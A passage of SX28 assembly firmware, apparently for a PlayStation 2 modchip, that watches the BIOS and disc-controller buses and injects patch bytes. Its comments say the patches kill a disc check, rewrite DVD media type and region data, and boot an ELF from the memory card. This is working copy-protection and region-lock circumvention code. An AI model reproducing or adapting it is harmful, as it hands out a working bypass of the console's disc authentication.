VAR_DC4,w mov w,#$37;27 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w mov w,#$20;15 mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA clr fsr ;; added snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC mov w,#$20;15 mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START snb V12LOGO_FLAG page $0a00 jmp PS1_MODE_SUCESSFUL_END page $0000 jmp CHECK_IF_START_PS2LOGO ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$27;1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV ;; this problem ??? mov w,#$2f;34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$4b;50 mov fsr,w mov w,#$20 mov indf,w mov w,#$4f;54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$55;5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$57;5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX ; POST_PATCH_4_MODE_START ;; can delete probly ; mov w,#$1a ; mov m,w ; mov w,#$6 ; mov !IO_CDDVD_BUS,w ; mov w,#$19 ; mov m,w ; clr w ; mov !IO_CDDVD_BUS,w ; mov w,#$1b ; mov m,w ; mov w,#$f3 ;; mov !IO_CDDVD_BUS,w ; mov w,#$1f ; mov m,w ;; added POST_PATCH_4_MODE_START page $0000 ; PAGE1 call SET_INTRPT ;; end added ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START_P2 mov w,#$64 mov VAR_DC4,w ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#$ff mov VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next mov w,#$20;15 mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED jmp POST_PATCH_4_MODE_START2 ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A mov w,#$6 mov !IO_CDDVD_BUS,w mode $0009 clr w mov !IO_CDDVD_BUS,w mode $000B snb PSX_FLAG jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 mov !IO_CDDVD_BUS,w sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 mov !IO_CDDVD_BUS,w sleep org $0400 ; PAGE4 400-5FF ;; page4 mechacon area ;; should be fine ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- snb IO_CDDVD_OE_A_1Q jmp MECHACON_WAIT_OE clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R decsz VAR_DC1 jmp MECHACON_WAIT_OE ret ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... snb V14_FLAG jmp V9toV14_CONSOLE_CDDVD_START snb JAP_V8 jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V8 jap last mechacon spa rev mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#$f mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF RSTBUMP sb IO_CDDVD_BUS_h setb JAP_FLAG ENDIF snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;dvd_c1 mov w,#$90 mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb USA_FLAG jmp CDDVD_USA snb UK_FLAG jmp CDDVD_UK mov w,#$10 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_UK mov w,#$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_USA clr w ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... mov w,#$1f mov m,w mov w,#$f mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH mov w,#$ff CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov !IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb SOFT_RST jmp V9toV12_CONSOLE_PATCH1_POST ;exit_patch CDDVD_IS_PS1 clrb IO_CDDVD_OE_A_1R clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0a00 jmp PS1_DETECTED_REBOOT org $0600 ;; page 6 DEV1 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P6 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P6 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ;; h2o dev1 ported ;-------------------------------------------------------------------------------- jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG setb SOFT_RST setb EJ_FLAG setb DEV1_FLAG mov w,#$73 mov VAR_DC1,w clr w mov VAR_DC3,w mov w,#$20;15 mov fsr,w DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp DEV1_MODE_LOAD_LOOP page $0200 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;---------------------------------------------------------- ;XCDVDMAN routine 2 ??? ps1/dev1 XCDVDMAN ?? ;---------------------------------------------------------- ;;todo can delete ?? ;-------------------------------------------------- ;;todo prehaps remove ;Modload repatch... ;; added edit FINISHED_RUN_START page $0000 call SET_INTRPT mov w,#4;$4 mov VAR_DC1,w FINISHED_RUN_START_P2 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2 mov w,#$c4 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P6 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P6 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L4 ;; check PS1_DETECTED_REBOOT_JMP11to17_ALL FINISHED_RUN_END ;; added snb IO_BIOS_OE jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$ff mov !IO_BIOS_DATA,w decsz VAR_DC1 jmp FINISHED_RUN_START_P2 page $0000 call DELAY100m page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;; end added edit org $0800 ;; page8 ps1drv page4 sx28 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P8 ret ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;; differs ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#$20;15 mov fsr,w mov w,#$b mov VAR_DC2,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P8 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P8 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 ; 3C C7 34 19 19 E2 B2 19 E2 BA mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM clr fsr ;; ?? decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;LOGO PS1_CONSOLE_ALL_JMPNTSC ; clr fsr ;; test remove. todo. runs better seems removed for ps1 mode. mov w,#$34 mov VAR_DC1,w mov w,#$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$4 mov 